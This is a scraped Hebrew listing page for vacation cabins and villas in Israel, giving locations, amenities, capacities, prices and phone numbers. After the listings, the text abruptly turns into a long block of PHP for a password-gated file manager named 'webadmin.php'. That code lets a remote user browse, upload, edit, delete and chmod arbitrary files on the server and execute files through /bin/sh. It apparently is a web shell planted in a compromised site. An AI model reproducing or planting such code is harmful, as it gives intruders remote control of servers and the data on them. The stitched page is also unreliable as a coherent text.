הדרך שלכם לחופשה המושלמת מתחילה כאן.

X

מה הוא קהל היעד? בחרו אחד

יציג בכל האתר מחירים לזוג

אנחנו זוג

יציג בכל האתר תוספת מחירים עבור ילדים

אנחנו משפחה

יציג בכל האתר צימרים המתאימים לקבוצות בלבד

אנחנו קבוצה

יציג בכל האתר צימרים ווילות המקבלים מסיבות רווקים

צימרים למסיבות

האם מגיע לכם הנחה? בחרו אחד

יציג בכל האתר מחירים מוזלים עבור חיילים

אני חייל

יציג בכל האתר מחירים מוזלים עבור סטודנטים

אני סטודנט

יציג בכל האתר מחירים מוזלים עבור גילאי 55 ומעלה

אני מעל 55

X

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

אחוזה בהר

גליל מערבי, אלקוש

מה במתחם : 4 בקתות.

בריכה במתחם ג'קוזי ספא חיצוני

סופ"ש החל

₪700

אמצ"ש החל

₪700

  053-5281300

מציג מחירים ליחידה זאת

תמונה 1 מתוך 25

רוז גרדן שזור

גליל עליון, שזור

מה במתחם : 4 צימרים

בריכה מחוממת במתחם ג'קוזי ספא חיצוני

סופ"ש החל

₪1000

אמצ"ש החל

₪800

  053-6112094

מציג מחירים ליחידה זאת

תמונה 1 מתוך 30

ביאנקיני

דרום, ים המלח (ביאנקיני)

מה במתחם : 106 יחידות אירוח

בריכה במתחם
15 אנשים לאירוע | 15 אנשים ללינה

סופ"ש החל

₪775

אמצ"ש החל

₪600

(מרכז הזמנות 2)  053-6111974

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

ברוגע אצל נוגה

ברמת הגולן והכנרת, רמות

מה במתחם : סוויטה פרטית אחת

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
עד 5 אנשים ללינה

סופ"ש החל

₪1300

אמצ"ש החל

₪950

(נוגה)  053-6112001

מציג מחירים ליחידה זאת

תמונה 1 מתוך 22

סוויטות Sakura-סאקורה

גליל עליון, דלתון

מה במתחם : 2 סויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
5 אנשים לאירוע | 5 אנשים ללינה

סופ"ש החל

₪650

אמצ"ש החל

₪550

(בתעמי)  053-9372812

מציג מחירים ליחידה זאת

תמונה 1 מתוך 22

בקתות ליאם

גליל עליון, דלתון

מה במתחם : 2 סוויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
7 אנשים לאירוע | 7 אנשים ללינה

סופ"ש החל

₪800

אמצ"ש החל

₪600

(יערית)  053-9424793

מציג מחירים ליחידה זאת

תמונה 1 מתוך 26

משק יגורוב

ברמת הגולן והכנרת, יבניאל

מה במתחם : 3 בקתות.

בריכה במתחם ג'קוזי ספא חיצוני
עד 4 אנשים ללינה

סופ"ש החל

₪750

אמצ"ש החל

₪600

(דוד)  053-9345334

מציג מחירים ליחידה זאת

תמונה 1 מתוך 34

אחוזת רות

ברמת הגולן והכנרת, כורזים

מה במתחם : 5 יחידות אירוח

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
5 אנשים לאירוע | 5 אנשים ללינה

סופ"ש החל

₪600

אמצ"ש החל

₪500

(רות)  053-9427216

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

בקתות חלום בכרמל

מישור החוף, דלית אל כרמל

מה במתחם : 3 סויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
30 אנשים לאירוע | 15 אנשים ללינה

צלצלו לבירור מחיר

(לינדה / יוסי)  053-9428093

מציג מחירים ליחידה זאת

תמונה 1 מתוך 23

הילת האור בוטיק

ברמת הגולן והכנרת, כלנית

מה במתחם : 4 בקתות ו3 סוויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
10 אנשים לאירוע | 10 אנשים ללינה

צלצלו לבירור מחיר

(אוהד)  053-9429591

מציג מחירים ליחידה זאת

תמונה 1 מתוך 17

רינג דה בל

ברמת הגולן והכנרת, פוריה

מה במתחם : 4 סויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
5 אנשים לאירוע | 5 אנשים ללינה

צלצלו לבירור מחיר

(איריס)  053-9385657

מציג מחירים ליחידה זאת

תמונה 1 מתוך 14

צימרים נריה בגליל

גליל עליון, חזון

מה במתחם : 5 בקתות עץ + חדרי ילדים

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
6 אנשים לאירוע | 6 אנשים ללינה

צלצלו לבירור מחיר

(דני)  053-9424799

מציג מחירים ליחידה זאת

תמונה 1 מתוך 18

פרפר בכפר

גליל עליון, עין אל אסד

מה במתחם : וילת אירוח עם 3 יחידות

בריכה מחוממת במתחם
15 אנשים לאירוע | 12 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

צלצלו לבירור מחיר

(יוסף)  053-8094215

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

אחוזת האושר

גליל עליון, דלתון

מה במתחם : 2 דירות אירוח

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
2 אנשים לאירוע | 12 אנשים ללינה

סופ"ש החל

₪1200

אמצ"ש החל

₪1200

(אושרת)  053-6311408

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

סוויטת שמוליקס Spa

ברמת הגולן והכנרת, חד נס

מה במתחם : 3 סוויטות

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
15 אנשים לאירוע | 14 אנשים ללינה

סופ"ש החל

₪1100

אמצ"ש החל

₪800

(שמוליק)  053-7249566

מציג מחירים ליחידה זאת

תמונה 1 מתוך 19

אחוזת ברש

ברמת הגולן והכנרת, ברק

מה במתחם : 9 יחידות אירוח: 6 בקתות, 3 סוויטה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
50 אנשים לאירוע | 50 אנשים ללינה

סופ"ש החל

₪900

אמצ"ש החל

₪700

(נינה)  053-9385596

מציג מחירים ליחידה זאת

תמונה 1 מתוך 18

אחוזת נויה

גליל עליון, ספסופה

מה במתחם : 3 בקתות עץ, 1 וילה

בריכה במתחם
10 אנשים לאירוע | 10 אנשים ללינה

סופ"ש החל

₪700

אמצ"ש החל

₪700

(שרינה)  053-6605289

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

המקום של ברקו

גליל מערבי, מעונה

מה במתחם : 2 יחידות אירוח

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
עד 10 אנשים לאירוע

סופ"ש החל

₪1000

אמצ"ש החל

₪800

(זהבה)  053-9418316

מציג מחירים ליחידה זאת

תמונה 1 מתוך 19

פינה בסג´רה

ברמת הגולן והכנרת, אילנייה

מה במתחם : 3 בקתות, 1 וילה, 1 מיני וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
45 אנשים לאירוע | 35 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪800

אמצ"ש החל

₪700

(נגה)  052-2595055

מציג מחירים ליחידה זאת

תמונה 1 מתוך 23

מי קאסה בכנרת

ברמת הגולן והכנרת, טבריה

מה במתחם : 1 דירת אירוח

6 אנשים לאירוע | 6 אנשים ללינה

סופ"ש החל

₪1000

אמצ"ש החל

₪900

(רעות)  053-9427259

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

פנינת אליה

דרום, תירוש

מה במתחם : 1 וילה

בריכה מחוממת במתחם
25 אנשים לאירוע | 13 אנשים ללינה

צלצלו לבירור מחיר

(עידן)  053-9425652

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

בצל הבוסתן - צימר דתי

ברמת הגולן והכנרת, מצפה נטופה

מה במתחם : יחידת אירוח

בריכה במתחם ג'קוזי ספא חיצוני
עד 8 אנשים ללינה

סופ"ש החל

₪800

אמצ"ש החל

₪700

(אלי)  052-9129230

צימרים למשפחות

@{

Wrong Password;"); } } if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "r", "n"), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$in";

		echo '
' . $src . '

'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("n", $output))); } else { listing_page(notice('executed', $file, implode("n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("n", $success)); } listing_page($message); } else { html_header(); echo '

'; request_dump(); echo "t" . word('really_delete') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '

' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("n", $success), $dest); } listing_page($message); } else { html_header(); echo '

'; request_dump(); echo "t" . word('move_files') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '

'; request_dump(); echo "n" . word('copy_files') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("rn", "n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


  ' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('.php$|.php3$|.php4$|.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '.jpg$|.jpeg$' => 'image/jpeg', '.gif$' => 'image/gif', '.png$' => 'image/png', '.html$|.html$' => 'text/html', '.txt$|.asc$' => 'text/plain', '.xml$|.xsl$' => 'application/xml', '.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((.[^.' . $e . '][^' . $e . ']*)|(..[^' . $e . ']+)|([^.][^' . $e . ']*))' . $e . '..' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

webadmin.php

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '

'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo ' smiley '; $d = 'dir=' . urlencode($directory) . '&'; if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = ''; echo "t" . word('filename') . "n"; if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = ''; echo "t" . word('size') . "n"; if (!$win) { if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = ''; echo "t" . word('permission') . "n"; if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = ''; echo "t" . word('owner') . "n"; if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = ''; echo "t" . word('group') . "n"; } echo ' ' . word('functions') . ' '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo ' '; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "t{$file['size']} Bn"; if (!$win) { echo "t'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "n"; if (array_key_exists('owner_name', $file)) { echo "t{$file['owner_name']}n"; } else { echo "t{$file['owner']}n"; } if (array_key_exists('group_name', $file)) { echo "t{$file['group_name']}n"; } else { echo "t{$file['group']}n"; } } echo ' '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo ' '; } echo ' > '; $actions = array(); if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'move'; } $actions[] = 'copy'; echo ' '; } function directory_choice () { global $directory, $homedir, $cols, $self; echo ' ' . word('directory') . ': '; } function upload_box () { global $cols; echo ' ' . word('file') . ': '; } function create_box () { global $cols; echo ' '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '

' . html($file) . '